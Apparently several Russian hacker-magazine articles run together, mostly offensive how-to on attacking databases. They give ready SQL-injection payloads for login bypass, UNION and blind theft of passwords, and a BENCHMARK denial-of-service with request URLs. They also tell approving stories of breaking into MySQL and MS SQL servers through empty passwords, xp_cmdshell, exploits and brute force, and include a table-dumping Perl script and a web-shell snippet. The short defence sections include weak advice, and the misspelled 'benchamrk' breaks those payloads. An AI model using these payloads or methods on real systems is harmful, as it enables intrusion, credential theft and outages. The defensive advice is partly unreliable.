Кроме того, если инъекция происходит вследствие слабой фильтрации имени пользователя или пароля, то можно авторизоваться в системе под любым пользователем, введя примерно следующий пароль (или имя пользователя) ‘ OR 1 /*

Кроме того практически в любой ситуации, когда имеет место уязвимость SQL инъекция, и можно внедрять произвольные выражения, можно с минимальными средствами заставить MySQL сервер исчерпать все сви ресурсы - заставить потреблять 100% свободного процессорного времени или набрать максимум разрешенных соединений.

В первом случае результаты сервер будет отдавать со значительной временной задержкой, во втором, попытки новых соединения с сервером будут отсекаться.

Функция BenchMark в MySQL используется для того чтобы вычислить заданное выражение заданное количество раз. Так например benchamrk(1000000, md5(current_time)) в зависимости от вычислительных мощностей сервера будет вычисляться около 30-60 секунд. Если же функцию сделать вложенной: benchamrk(1000000, benchamrk(1000000, md5(current_time))), то вычисление такой функции займет очень много времени на сервере любой конфигурации.

Теперь осталось только внедрить эту функцию в SQL запрос, так чтобы в нем не произошло ошибки:

http://localhost/test.php?id=1-benchamrk(1000000,benchamrk(1000000, md5(current_time))), или

http://localhost/test2.php?order=(benchamrk(1000000,benchamrk(1000000, md5(current_time))))

Теперь, для эффективной DoS атаки достаточно сделать серию таких HTTP запросов на сервер. Дожидаться ответа не обязательно, достаточно, чтобы запрос дошел до сервера. Серию таких запросов можно организовать как вручную, через броузер, так и скриптом.

В зависимости от мощности сервера, будет достаточно от нескольких десятков до нескольких сотен таких запросов.

Следует учесть, что для эффективной атаки, результат запроса не должен нигшде кешироваться. Для того, чтобы предотвратить кэширование на прокси сервер, в каждый запрос можно добавлять случайную величину:

http://localhost/test.php?id=1-benchamrk(1000000,benchamrk(1000000, md5(current_time)))-46323279

Заключение

Многие в настоящее время считают, что если они используют MySQL сервер третей версии, то они защищены от уязвимости типа SQL инъекция. Я всего лишь показал, что это не так :)

Что может сделать взломщик используя SQL injection

С каждым днем все больше скриптов используют базы данных, все больше хостингов доверяют пароли своих клиентов SQL-базам, все больше популярных сайтов переходит на публичные форумы и движки, работающие с MySQL. Но далеко не все ясно представляют себе, насколько опасным может быть непродуманное использование MySQL в скриптах.

Как это есть?

Без знаний основ языка SQL трудно что-либо понять. Прежде всего разберемся, в чем заключается суть атаки типа SQL injection. К примеру, на атакуемом сервере стоит следующий PHP-скрипт, который на основе поля category_id делает выборку заголовков статей из таблицы articles и выводит их пользователю:

//подключаемся к MySQL

mysql_connect($dbhost, $dbuname, $dbpass) or die(mysql_error());

mysql_select_db($dbname) or die(mysql_error());

$cid=$_GET["cid"];

$result=mysql_query("SELECT article_id, article_title FROM articles where category_id=$cid"); // <- уязвимый запрос

while( $out = mysql_fetch_array( $result)):

echo "Статья: ".$out['article_id']." ".$out['article_title']."<br>";

endwhile;

//выводим результат в виде списка

В переводе с языка MySQL запрос звучит так: "ВЫБРАТЬ ид_статей, заголовки_статей ИЗ таблицы_статей ГДЕ ид_категории равно $cid". На первый взгляд все верно, по ссылке типа http://serv.com/read.php?cid=3 скрипт работает нормально и выводит пользователю список статей, принадлежащих категории 3.

Но что если пользователь - никакой не пользователь, а обыкновенный хакер? Тогда
он сделает запрос http://serv.com/read.php?cid=3' (именно с кавычкой) и получит что-то вроде: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/apache/htdocs/read.php on line 14.

Почему ошибка? Посмотрим, что запросил PHP у MySQL. Переменная $cid равна 1', тогда запрос принимает неверный с точки зрения MySQL вид: SELECT article_id, article_title FROM articles where category_id=1'. При синтаксической ошибке в запросе MySQL отвечает строкой "ERROR 1064: You have an error in your SQL syntax...". PHP не может распознать этот ответ и сообщает об ошибке, на основе которой хакер может судить о присутствии уязвимости типа SQL Injection. Очевидно, что злоумышленник получит возможность задавать переменной $cid любые значения ($cid=$_GET[cid]) и, следовательно, модифицировать запрос к MySQL. Например, если $cid будет равна "1 OR 1" (без кавычек в начале и в конце), то MySQL выдаст все записи, независимо от category_id, так как запрос будет иметь вид (..) where category_id=1 OR 1. То есть либо category_id = 1 (подойдут лишь записи с category_id, равными 1), либо 1 (подойдут все записи, так как число больше нуля - всегда истина).

Только что описанные действия как раз и называются SQL Injection - иньекция SQL-кода в запрос скрипта к MySQL. С помощью SQL Injection злоумышленник может получить доступ к тем данным, к которым имеет доступ уязвимый скрипт: пароли к закрытой части сайта, информация о кредитных картах, пароль к админке и т.д. Хакер при удачном для него стечении обстоятельств получит возможность выполнять команды на сервере.

Как атакуют?

Классический пример уязвимости типа SQL Injection - следующий запрос: SELECT * FROM admins WHERE login='$login' AND password=MD5('$password').

Допустим, он будет проверять подлинность введенных реквизитов для входа в админскую часть какого-нибудь форума. Переменные $login и $password являются логином и паролем соответственно, и пользователь вводит их в HTML-форму. PHP посылает рассматриваемый запрос и проверяет: если количество возвращенных от MySQL записей больше нуля, то админ с такими реквизитами существует, а пользователь авторизуется, если иначе (таких записей нет и логин/пароль неверные) - пользователя направят на fsb.ru.

Как взломщик использует SQL Injection в этом случае? Все элементарно. Злоумышленнику требуется, чтобы MySQL вернул PHP-скрипту хотя бы одну запись. Значит, необходимо модифицировать запрос так, чтобы выбирались все записи таблицы независимо от правильности введенных реквизитов. Вспоминаем фишку с "OR 1". Кроме того, в MySQL, как и в любом языке, существуют комментарии. Комментарии обозначаются либо --комментарий (комментарий в конце строки), либо /*комментарий*/ (комментарий где угодно). Причем если второй тип комментария стоит в конце строки, закрывающий знак '*/' необязателен. Итак, взломщик введет в качестве логина строку anyword' OR 1/*, а в качестве пароля - anyword2. Тогда
запрос принимает такой вид: SELECT * FROM admins WHERE login='anyword' OR 1/* AND password=MD5('anyword2'). А в переводе на человеческий язык: ВЫБРАТЬ все ИЗ таблицы_admins ГДЕ логин равен 'anyword' ИЛИ 1, а остальное воспринимается как комментарий, что позволяет отсечь ненужную часть запроса. В результате MySQL вернет все записи из таблицы admins даже независимо от того, существует админ с логином anyword или нет, и скрипт пропустит хакера в админку. Такая уязвимость была обнаружена, например, в Advanced Guestbook. Она позволяла войти в администраторскую часть не зная пароля и внутри нее читать файлы. Но SQL Injection этого типа обычно не позволяют злоумышленнику получить данные из таблицы.

Union и MySQL версии 4

Вернемся к скрипту получения заголовков статей. На самом деле он позволяет взломщику получить гораздо больше, чем список всех статей. Дело в том, что в MySQL версии 4 добавлен новый оператор - UNION, который используется для объединения результатов работы нескольких команд SELECT в один набор результатов. Например
: SELECT article_id, article_title FROM articles UNION SELECT id, title FROM polls. В результате MySQL возвращает N записей, где N - количество записей из результата запроса слева плюс количество записей из результата запроса справа. И все это в том порядке, в каком идут запросы, отделяемые UNION.

Но существуют некоторые ограничения по использованию UNION:

1. число указываемых столбцов во всех запросах должно быть одинаковым: недопутимо, чтобы первый запрос выбирал, например, id, name, title, а второй только article_title;

2. типы указываемых столбцов одного запроса должны соответствовать типам указываемых столбцов остальных запросов: если в одном запросе выбираются столбцы типа INT, TEXT, TEXT, TINYTEXT, то и в остальных запросах должны выбираться столбцы такого же типа и в таком же порядке;

3. UNION не может идти после операторов LIMIT и ORDER.

Так как же UNION может стать пособником злоумышленника? В
нашем скрипте присутствует запрос "SELECT article_id, article_title FROM articles where category_id=$cid". Что мешает хакеру, используя SQL injection, вставить еще один SELECT-запрос и выбрать нужные ему данные? Правильно: ничего!

Допустим, цель хакера - получить логины и пароли всех авторов, которые могут добавлять статьи. Есть скрипт чтения списка статей http://serv.com/read.php?cid=1, подверженный SQL injection. Первым делом хакер узнает версию MySQL, с которой работает скрипт. Для этого он сделает следующий запрос: http://serv.com/read.php?cid=1+/*!40000+AND+0*/. Если скрипт вернет пустую страницу, значит, версия MySQL >= 4. Почему именно так? Число 40000 - версия MySQL, записанная без точек. Если версия, которая стоит на сервере, больше или равна этому числу, то заключенный в /**/ код выполнится как часть запроса. В результате ни одна запись не подойдет под запрос и скрипт не вернет ничего. Зная версию MySQL, хакер сделает вывод о том, сработает фишка с UNION или нет. В случае если MySQL третьей версии, фишка работать не будет. В нашем случае MySQL >= 4 и злоумышленник все-таки воспользуется UNION.

Для начала взломщик составит верный UNION-запрос, то есть подберет действительное количество указываемых столбцов, которое бы совпало с количеством указываемых столбцов левого запроса (вспоминай правила работы с UNION). Хакер не имеет в распоряжении исходников скрипта (если, конечно, скрипт не публичный) и поэтому не знает, какой именно запрос шлет скрипт к MySQL. Придется подбирать вручную - модифицировать запрос вот таким образом: http://serv.com/read.php?cid=1+UNION+SELECT+1. И тут о своем присутствии объявит ошибка, так как количество запрашиваемых столбцов не совпадает. Хакер увеличивает количество столбцов еще на единицу: http://serv.com/read.php?cid=1+UNION+SELECT+1,2 - получает список статей из категории 1, а также в самом конце две цифры: 1 и 2. Следовательно, он верно подобрал запрос.

Посмотрим на модифицированный запрос от PHP к MySQL: SELECT article_id, article_title FROM articles where category_id=1 UNION SELECT 1,2. В ответ MySQL возвращает результат первого SELECT (список статей) и результат второго SELECT - число "1" в первом столбце и "2" во втором столбце (SELECT+1,2). Другими словами, теперь, подставляя вместо '1' и '2' реальные имена столбцов из любой таблицы, можно будет заполучить их значения.

Составив верный SELECT+UNION запрос, хакер постарается подобрать название таблицы с нужными ему данными. Например, таблица с данными пользователей будет, скорее всего, называться users, Users, accounts, members, admins, а таблица с данными о кредитных картах - cc, orders, customers, orderlog и т.д. Для этого злоумышленник сделает следующий запрос: http://serv.com/read.php?cid=1+UNION+SELECT+1,2+FROM+users. И если таблица users существует, то PHP-скрипт выполнится без ошибок и выведет список статей плюс '1 2', иначе - выдаст ошибку. Так можно подбирать имена таблиц до тех пор, пока не будет найдена нужная.

В нашем случае "нужная" таблица – это authors, в которой хранятся данные об авторе: имя автора, его логин и пароль. Теперь задача хакера - подобрать правильные имена столбцов с нужными ему данными, чаще всего с логином и паролем. Имена столбцов он станет подбирать по аналогии с именем таблицы, то есть для логина столбец, скорее всего, будет называться login или username, а для пароля - password, passw и т.д. Запрос будет выглядеть так: http://serv.com/read.php?cid=1+UNION+SELECT+1,login+from+authors.

Почему хакер не стал вставлять имя столбца вместо единицы? Ему нужна текстовая информация (логин, пароль), а в нашем случае в левом запросе SELECT на первом месте идет article_id, имеющий тип INT. Следовательно, в правом запросе хакер не может ставить на первое место имя столбца с текстовой информацией (правила UNION).

Итак, выполнив запрос http://serv.com/read.php?cid=1+UNION+SELECT+1,login+from+authors, взломщик находит список логинов всех авторов, а подставив поле password - список паролей. И получает желанные логины и пароли авторов, а админ сервера – подмоченную репутацию. Но это только в нашем примере Фортуна улыбнулась злоумышленнику так широко: он быстро подобрал количество столбцов, а в реальной жизни количество столбцов может достигать 30-40.

UNION и нюансы

Теперь рассмотрим некоторые ситуации, в которых использование UNION затруднено по тем или иным причинам.

Ситуация 1

Левый запрос возвращает лишь числовое значение. Что-то вроде SELECT code FROM artciles WHERE id = $id. Что будет делать хакер? Средства MySQL позволяют проводить различные действия над строками, к примеру, выделение подстроки, склеивание нескольких строк в одну, перевод из CHAR в INT и т.п. Благодаря этим функциям хакер имеет возможность выудить интересующую его информацию по одному символу. К примеру, требуется достать пароль из таблицы admins, используя приведенный выше запрос. Чтобы получить ASCII-код первого символа пароля, сделаем следующий запрос к скрипту: http://127.0.0.1/read.php?cid=1+union+select+ASCII(SUBSTRING(password,1,1))+from+admins. Функция SUBSTRING(name,$a,$b) в MySQL выделяет $b символов из значения столбца name начиная с символа под номером $a. Функция ASCII($x) возвращает ASCII-код символа $x. Для получения последующих символов следует просто менять второй параметр функции SUBSTRING до тех пор, пока ответом не будет 0. Подобный способ был использован в эксплойте для одной из версий phpBB.

Ситуация
2

SQL Injection
находится в середине SQL-запроса. Например: SELECT code FROM artciles WHERE id = $id AND blah='NO' AND active='Y' LIMIT 10. Для правильной эксплуатации хакер просто откомментирует идущий следом за Injection код, то есть к вставляемому коду добавит /* или --. Пробелы в запросе взломщик может заменить на /**/, что полезно в случае если скрипт фильтрует пробелы.

Ситуация 3

Случается и такое, что в PHP-коде подряд идет несколько SQL-запросов, подверженных Injection. И все они используют переменную, в которую злоумышленник вставляет SQL-код. Например (опускаю PHP):

$result=mysql_query("SELECT article_id, article_title FROM articles where category_id=$cid");

//php code here

$result=mysql_query("SELECT article_name FROM articles where category_id=$cid");

//тут вывод результата

Это довольно неприятно для хакера, так как для первого запроса SQL Injection пройдет нормально, а для второго UNION - уже нет, так как количество запрашиваемых столбцов отличается. И если программист, писавший код, предусмотрел остановку скрипта в случае ошибки типа "... or die("Database error!")", то эксплуатация обычными методами невозможна, так как скрипт остановится раньше, чем будет выведет результат.

Ситуация 4

Скрипт выводит не весь результат запроса, а, например, только первую запись. И если хакер будет прямо пользоваться UNION, то скрипт выдаст только первую запись из ответа MySQL, а остальное отбросит, в том числе результат SQL Injection. Для того чтоб преодолеть все препятствия и на этом этапе, хакер передаст левому запросу такой параметр для WHERE, чтобы в ответ на него MySQL не вернул ни одной записи.

Например
, есть такой запрос: SELECT name FROM authors WHERE id=$id. После SQL Injection он будет выглядеть следующим образом: (..) id=1 UNION SELECT password FROM authors. Но PHP-скрипт выведет только первую запись, поэтому вставляемый код следует модифицировать: (..) id=-12345 UNION SELECT (..). Теперь в ответ на левый запрос MySQL не вернет ничего, а в ответ на правый - желанные для хакера данные.

Ситуация 5

Скрипт не выводит результат запроса. Например, есть скрипт, который выводит какие-либо статистические данные, например, количество авторов, принадлежащих к определенной группе. Причем количество записей он считает не с помощью MySQL-функции COUNT, а в самом скрипте. Скрипт
шлет MySQL такой запрос: SELECT id FROM authors where category_id=$cid.

Допустим, скрипт возвращает что-то вроде "Найдено десять авторов в данной категории". В этом случае злоумышленник будет эксплуатировать SQL injection, конечно же, методом перебора символов! Например, хакеру надо получить пароль автора с id = 1, для чего потребуется перебирать каждый символ пароля. Но как получить символ, если PHP не выводит ничего из того, что возвратил MySQL?

Рассмотрим
такой запрос: SELECT id FROM authors where category_id=-1 UNION SELECT 1,2 FROM authors WHERE id=1 AND ASCII(SUBSTRING(password,1,1))>109. Результатом запроса будет одна запись, если ASCII-код первого символа пароля больше 109, и ноль записей, если больше, либо равна. Итак, методом бинарного поиска нетрудно найти нужный символ. Почему хакер использует знаки "больше/меньше", а не "равно"? Если взломщику надо получить 32-символьный хэш пароля, ему придется делать примерно 32*25 запросов! Метод бинарного поиска позволяет сократить это число в два раза. Само собой, делать запросы хакер будет уже не руками, а с помощью скрипта, автоматизирующего перебор.

MySQL версии 3

Несмотря на отсутствие в третьей версии оператора UNION, и из нее хакер сможет вытащить то, чем интересуется. В осуществлении этого замысла помогут подзапросы и перебор символов, но описание этого метода займет еще пару листов (которых мне не дали). Поэтому ищи статьи на эту тему на www.rst.void.ru (автор 1dt.w0lf) и www.securitylab.ru (автор Phoenix).

Как защищаться?

Правило №1. Фильтруй входные данные. Кавычку заменяй на слеш-кавычку(\'), слеш - на слеш-слеш. В PHP это делается или включением magic_quotes_gpc в php.ini, или функцией addslashes(). В Perl: $id=~s/(['\\])/\\$1/g;. И на всякий случай: $id=~s/[a-zA-z]//g; - для числовых параметров.

Правило №2. Не дай кому не надо внедрить SQL-код! Заключай в кавычки все переменные в запросе. Например, SELECT * FROM users WHERE id='$id'.

Правило №3. Отключи вывод сообщений об ошибках. Некоторые программисты, наоборот, делают так, что при ошибке скрипт выводит сообщение самого MySQL, или, еще ужасней, - ВЕСЬ SQL-запрос. Это предоставляет злодею дополнительную информацию о структуре базы и существенно облегчает эксплуатацию.

Правило №4. Никогда не разрешай скриптам работать с MySQL от root. Ничего хорошего не выйдет, если хакер получит доступ ко всей базе.

Правило №5. Запускай публичные скрипты от отдельного пользователя с отдельной базой. Неприятно будет, если какой-нибудь кидди, воспользовавшись 0day-дырой в форуме, получит доступ к базе с СС твоих клиентов.

Правило №6. Отключи MySQL-пользователю привилегию FILE - не дай хакеру записать в файл что-то вроде <?system($_GET[cmd])?> через MySQL.

Правило №7. Не называй таблицы и базы данных в соответствии с их назначением, чтоб утаить от чужих глаз настоящие названия. В публичных скриптах часто предоставляют возможность установить prefix для названия таблиц - устанавливай самый сложный. Если кто-нибудь и найдет SQL injection, то не сможет ее эксплуатировать.

Чаще всего уязвимости оставляют в тех запросах, параметры которых передаются через hidden формы в HTML и через cookies, видимо, из-за того, что они не видны пользователю и не так привлекают внимание злодеев.

Часто забывают про SQL Injection в функции Reply, о поиске сообщений пользователя в форумах, в репортах различных сервисов. В 80% WAP-сервисов SQL injection находят по десять штук в каждом скрипте (наверное, админы думают, что туда только через сотовые ходят). На самом деле многие недооценивают SQL Injection. Известен случай, когда обычная SQL injection в скрипте репорта привела к реальному руту на трех серверах и дампу гиговой базы. А всего-то SQL Injection…

Статьи по теме

inattack.ru/group_article/34.html
www.rst.void.ru/papers/sql-inj.txt
www.securitylab.ru/49424.html
www.securitylab.ru/49660.html

Все чаще администраторы получают возможности убедиться в том, что знания по безопасности запросов к MySQL не менее важны, чем эффективное использование этих запросов.

Защитить свою базу от хакеров можно – нужно только грамотно следовать определенным правилам по нейтрализации подобных атак.

С помощью UNION хакер может легко узнать пользователя, базу данных и версию MySQL, для чего используются функции user(), database() и version() соответственно. Взломщик просто сделает запрос типа SELECT user().

Даже если в обороне есть брешь, можно дезинформировать противника присваивая переменным нелогичные названия. Тогда их будет просто невозможно подобрать.

Чем ты больше знаешь о том, как ломают, тем проще предотвратить взлом.

Регулярно просматривай новостные сайты по безопасности, чтобы быть в курсе вновь изобретенных способов взлома и не допускать утечек ценной информации.


Обзор уязвимостей с наглядными примерами

Стало модным хранить информацию в БД - от сообщений на попсовых форумах до генетических кодов новейших белковых соединений. Понятно, что для хакеров такие базы являются предметом страстного желания и возможностью поправить свое материальное положение. А чтобы встать на защиту СУБД, надо понимать основные приемы ее взломщика.

Несмотря на то что SQL-сервер находится за брандмауэром и принимает подключения только с доверенных машин, стащить важную информацию с него не так уж и сложно. Более того, для этого даже не нужно быть суперхакером, достаточно получить доступ к одному серверу из локальной сети, и данные окажутся в преступных руках. Если, конечно, администратор не уделил серверу особого внимания.

Парольная проблема

Чаще всего взлом СУБД происходит из-за "плохого" пароля или из-за его полного отсутствия. Но даже если он и существует, взломать БД для хакера не составит особого труда. Чтобы ты в полной мере осознал проблему, приведем ряд примеров-взломов (от простого к сложному).

1. Как-то раз хакер баловался и сканировал nmap’ом какую-то русскую подсеть в зоне *.rose.ru, в которой находились серверы одного крупного хостера. Сканер записал в лог информацию об основных сервисах в этой подсети. На трех адресах (из 120) вертелись демоны MySQL. Хакеру стало интересно, какая информация хранится в этих СУБД. Он набрал в шелле команду "mysql –h host –u root", и... сервис сказал, что с его хоста не разрешено соединяться с базой. Тогда хакер попробовал другой хост, и... его пустили внутрь! Поразительно, но админ даже не удосужился установить пароль на вход. Кстати, информация была не такой уж и профанской: в БД хранились сведения о концертах каких-то московских музыкальных групп. Однако хакер ничего не стал изменять, а просто создал дополнительную базу с названием hack :). Через пару дней администратор ее заметил и взялся за ум.

2. Поздним вечером другой хакер сканировал на различные сервисы буржуйскую подсеть (хакеры вообще любят сканировать порты) Windows'овским сканером LanGuard. Просмотрев его отчет по диагонали, он, к своей радости, обнаружил два хоста с открытым портом 1433. Это означало, что на сервере крутился небезызвестный MS SQL. Ситуация похожа на предыдущий случай. Первый демон не пустил в гости, а второй поддался. Только вместо логина root хакер использовал учетную запись sa с пустым паролем. В базе хранился каталог кредитных карт одного крупного интернет-магазина. По-видимому, админ решил поднять бэкап-сервер и не позаботился о защите.

3. Подобным образом некий хакер несколько раз проникал на Windows'овские mysqld. Дело в том, что в ранних версиях разработчики забили на аутентификацию в Win32-сервисах. Действительно, даже при грамотной настройке сервис пускал абсолютно всех под любым именем пользователя без пароля :). Как-то раз, благодаря этому, хакеру удалось дефейснуть один популярный форум в локальной сети (правда, потом получил подзатыльник от администратора). Поэтому обязательно проверяй безопасность сервиса, если он крутится на Windows.

Прицел на MySQL

Большинство ценных баз данных хранятся в СУБД под названием MySQL. По правилам безопасности этот демон должен быть установлен на *nix-like-системах на отдельно взятом сервере. Но часто происходит так, что все сервисы (включая mysqld) вертятся на одной машине, обычно ради экономии денег. Отсюда возможности взлома MySQL. Ниже приводим три примера из жизни, чтобы показать проблему наглядно.

Пример 1: Root - спаситель

Рассмотрим один из типичных случаев взлома БД. Однажды некий хакер нашел сервер, на котором крутился бажный mod_php. Через пару часов эксплойт 7350fun предоставил ему шелл-доступ к машине. Быстро залив хороший backdoor, хакер зашел по телнету на порт 31337 ;), затем добил сервер известным эксплойтом для ядерной баги ptrace (не стоит говорить про то, как администраторы патчат ядра) и получил рутовые права.

Помимо web-сервера, на машине располагался MySQL. По всем правилам порт 3306 был зафильтрован файрволом, на сервисе стоял сложный пароль и запрет на вход с посторонних машин. Однако mod_php и дырявое ядро создали все условия для хищения данных, лежащих в MySQL. Даже без знания заветного пароля хакер мог зайти в СУБД. Ему даже не пришлось копировать таблицы на свой винчестер и извращаться с заменой некоторых файлов. Он просто убил процесс mysqld, а затем запустил его с ключиком --skip-grant-tables. Оставалось лишь обратиться к БД под суперпользователем, и сервис впустил хакера без запроса пароля! Бережно скопировав нужные таблицы, хакер перезапустил демон в обычном режиме и удалился с сервера. Вся грязная работа была выполнена в кратчайшие сроки :). А в таблицах были пароли клиентов на раскрученный интернет-магазин...

Пример 2: Поиск пароля

Как-то раз в аську к некому хакеру постучался его друг и стал слезно умолять достать пароль одного недруга на форум, чтобы отправить несколько нецензурных сообщений от его имени. Работа была простая, взломщик даже нашел баг в www-скрипте, позволяющему выполнять команды на сервере. Хакер залил backdoor и забрался в консоль. К сожалению, на сервере стояла новенькая FreeBSD, для которой не существует хороших локальных эксплойтов. Следовательно, прием с перезапуском mysqld тут не прокатит. СУБД и web-сервер находились на одной машине, а хакер был наделен правами nobody. В таком положении ему требовалось найти конфиг от форума, что он успешно сделал с помощью команды "locate config.inc.php". В конфигурационном файле находилась учетная запись на сервис MySQL. Последняя команда "mysql –uuser –ppassword –e ‘select password from users where username=’user’’ forum" выдала хакеру зашифрованный пароль пользователя. Оставалось только расшифровать пароль с помощью Md5Inside (http://inattack.ru/program/25) или другого брутфорсера.

Здесь же уместен другой случай взлома MySQL. Однажды некому хакеру посчастливилось подобрать пароль одного пользователя на раскрученном хостинге. Его права были урезаны по самые уши, даже компилятор не запускался. Тогда хакеру пришло в голову выполнить команду "find / -name *history". И что ты думаешь? Он нашел целых пять читабельных файлов .mysql_history. В них, конечно же, была строчка с паролем доступа в незашифрованном виде. Таким вот образом хакер получил доступ к пяти таблицам MySQL. Правда, информация там не была особо ценной, в основном аккаунты к форуму или к free email-сервису...

Пример 3: Атака эксплойтом

Не так давно для MySQL появился рабочий эксплойт. Суть его в том, что пользователь может отправить сложный пароль, переполнив буфер на серверной стороне. В итоге сервис авторизует клиента даже в том случае, если админ устанавливал сложнейший пароль. Обидно, но данный баг реально работает лишь в третьей версии mysqld. Но полгода назад (аккурат после выхода эксплойта) хакеры здорово поглумились над демонами. Через несколько дней после выхода эксплойта кто-то переделал MySQL-клиент и выложил его в public-источник. С виду это обычный бинарник, но на самом деле в него зашит вышеописанный эксплойт. С его помощью можно быстро проверить хост на уязвимость. Достаточно соединиться с сервером без указания пароля и, если версия сервиса устаревшая, тебя пустят внутрь.

Помимо этого эксплойта, существуют и другие. Однако рассказывать про них не имеет смысла, потому что сейчас ты уже не найдешь дырявые версии. А пару лет назад была возможность не только проникнуть в СУБД, но и выполнять команды на сервере с правами суперпользователя.

Кстати, о командах. Через MySQL невозможно выполнить запрос, который бы интерпретировался каким-либо шеллом. Однако никто не запретит тебе создать файл с произвольными данными, владельцем которого будет пользователь, под которым ты зашел в СУБД. Для
этого выполняется нехитрый SQL-запрос: "SELECT * FROM table INTO OUTFILE ‘/home/user/blah.txt’". Если файл blah.txt существует, он успешно перезапишется. В некоторых целях этот трюк может быть очень полезен, особенно если зайти под рутовым аккаунтом.

Атака MS SQL

Вторая по популярности СУБД носит гордое имя MS SQL и используется на многих раскрученных (чаще всего зарубежных) серверах. Несмотря на то, что для этого сервиса вышло целых три сервиспака, баги в творении MicroSoft были, есть и будут :).

Самый первый баг, о котором пишут уже много лет, заключается в недостаточной настройке MS SQL. Действительно, некоторые админы устанавливают сервер, видят, что все работает, и экспортируют ценную БД. Особо одаренные администраторы даже не задумываются, что вход в СУБД через пользователя sa с пустым паролем - не совсем безопасная идея :). Вспоминается случай, когда пару лет назад некий хакер проверял защиту одного зарубежного интернет-магазина, торгующего постерами. На главном сервере была установлена Windows с седьмым MS SQL. Факт отсутствия файрвола очень заинтриговал хакера. Он нашел в интернете клиент isql.exe, с помощью которого осуществляется обращение к СУБД, а затем попробовал залогиниться под пользователем Administrator. Хакера послали куда подальше, но он не стал отчаиваться, а просто сменил логин на sa. И... побывал внутри системы :).

Получить доступ к MS SQL значит завладеть всей системой. В отличие отсвоих конкурентов, разработчики этой СУБД включили некоторые функции, выполняющие системные команды. Одна из них называется xp_cmdshell. Причем в ряде случаев никто не запрещает выполнять внешние запросы даже под гостевым логином (если администратор не уделил должное внимание настройке СУБД). К примеру, однажды хакер баловался одним сканером Windows, определяющим возможность гостевого входа. Примечательно, что хакерское творение реализовано в виде единого bat-файла, который быстро сканирует заданную подсеть на наличие гостевого входа в MS SQL. Чтобы проверить сеть на уязвимость, необходимо положить в каталог с файлом scan.bat (www.securitylab.ru/35715.html) клиент isql.exe, а затем запустить сканер с параметром адреса сети (192.168.0.1/24, например). Сначала bat-файл проверит наличие MS SQL, затем попробует залогиниться под гвестом, а после этого попытается выполнить командный запрос через встроенную функцию xp_cmdshell. Полгода назад этот способ работал на ура :).

Как и для MySQL, к СУБД в Windows было написано очень много рабочих эксплойтов. Один из них до сих пор способен вызвать переполнение буфера в MS SQL SP2 и предоставить хакеру командный доступ к системе (www.packetstormsecurity.org/0211-exploits/sql2.cpp). Атака проводится на UDP порт 1434. Примечательно, но для осуществления взлома не потребуется знать логин и пароль на вход в MS SQL. Таким образом, в теории все сервисы до SP3 подчиняются хакеру. Но на практике это не так: эксплойт безбожно глючит при атаке на MS SQL SP2 и не всегда возвращает командный доступ при наличии SP1.

Если сервер имеет активный MS SQL, но все вышеперечисленные приемы не дали желаемого результата, хакеры пробуют подобрать пароль к СУБД. В этом им помогает замечательная утилита mssqlpwd (www.packetstormsecurity.org/Crackers/mssqlpwd.zip), которая имеет вид пропатченного клиента. Достаточно скормить ей увесистый словарик, и процесс перебора пойдет своим ходом.

Для MySQL также существуют переборщики. Один из известных брутфорсеров получил название hydra (thc.org). Этот многофункциональный Linux'овый переборщик способен осуществлять подбор паролей с поддержкой потоков, комболистов, словарей и т.д. Никто не запрещает запустить его в background на зарубежном шелле. При таком раскладе даже самый стойкий пароль обязательно подберется :).

И, конечно же, MS SQL и MySQL ломаются традиционной SQL-инжекцией. При определенном раскладе хакер получит доступ к командному шеллу с правами system. Расписывать теорию SQL-инжекции нет смысла, так как в этом номере есть отдельная статья.

Ты, наверное, заметил, что методы взлома MySQL и MS SQL несколько схожи. Действительно, эти СУБД построены на реляционной модели, поэтому язык обращения к ним практически одинаков. Что касается багов в самом софте, то хакеры уделяют одинаковое внимание как Windows, так и Linux. При таком раскладе администратор находится в самом невыгодном положении: он должен каждый день читать ленты багтрака и при необходимости скачивать обновления или свежие версии СУБД. Поэтому, если ты админ крупной СУБД, не спеши проверять чужие подсети на безопасность, а в первую очередь проведи аудит своей.

Другие СУБД

Кроме MySQL и MS SQL, существуют другие СУБД, с которыми можно встретиться на многих серверах. Это и многофункциональный PostgreSQL, и специфический Oracle. Приемы взлома этих БД во многом схожи с методами, описанными в статье. Для доступа к этим СУБД используются свои клиенты (pgsql и sqlplus соответственно). Но чаще обращаются к этим СУБД используя мощь языка Perl или PHP. Например, если хакеру известны логин и пароль на доступ к Oracle, но по какой-то причине он не может найти (запустить) клиент, то ему проще залить на сервер Perl'овый скрипт, а затем выполнить его. Код будет примерно таким:

#!/usr/bin/perl

use DBI;

$TB=$ARGV[0];

$oradrh = DBI->install_driver( 'Oracle' );

$ENV{'ORACLE_SID'} = "web01";

$dataSource = "dbi:Oracle:$ENV{'ORACLE_SID'}";

$dbh=DBI->connect_cached($dataSource,root”,”mypwd”,{AutoCommit => 1 })

or die print"Can't connect to Oracle database: $DBI::errstr\n";

my $sql = qq{ SELECT * FROM $TB WHERE rownum <= 3 }; # Выполнить SELECT с выводом только трех значений (для краткости)

my $sth = $dbh->prepare($sql);

$sth->execute();

while($indexes=$sth->fetchrow_arrayref) {

for($i=0;$i<=37;$i++) {

print "obj: $indexes->[$i]\n # Вывести данные на экран

";

}

}

$sth->finish();

Для PHP код будет уже другим. Вообще, сценарии - великая вещь.

Ссылки на электронную литературу

Чтобы быть в курсе уязвимостей в СУБД, достаточно посещать несколько сайтов (хотя бы раз в неделю) или подписаться на рассылку новостей. Ниже список ресурсов, где можно найти интересную информацию по взлому и защите СУБД.

www.xakep.ru – информация о последних обнаруженных уязвимостях (для СУБД в том числе) плюс анонс новых выпусков "Хакер" и "Хакер-Спец".

www.securitylab.ru – статьи по взлому баз данных, ссылки на заплатки, а также эксплойты (к примеру, эксплойт bypass auth для MySQL) для этих уязвимостей.

www.security.nnov.ru – в разделе "Эксплойты" (www.security.nnov.ru/search.exploits.asp) есть несколько для атаки на MySQL и MS SQL.

www.packetstormsecurity.org – в поиске (www2.packetstormsecurity.org/cgi-bin/search/search.cgi) задай ключевые слова MS SQL, MySQL, Oracle, PostgreSQL и т.п.

www.opennet.ru – правильная настройка Unix и сервисов (настройка СУБД в том числе).

Последняя версия Hydra умеет вести перебор паролей как для MySQL, так и для MS SQL.

Запомни главное правило: при крупных проектах никогда не держи SQL-сервер и web-сервер на одной машине.

Для MS SQL вышло уже три сервиспака. Взять их можно на microsoft.com.

При настройке MS SQL обязательно выруби гостевой вход, смени имя пользователя и пароль, а также отключи функции выполнения внешних команд.

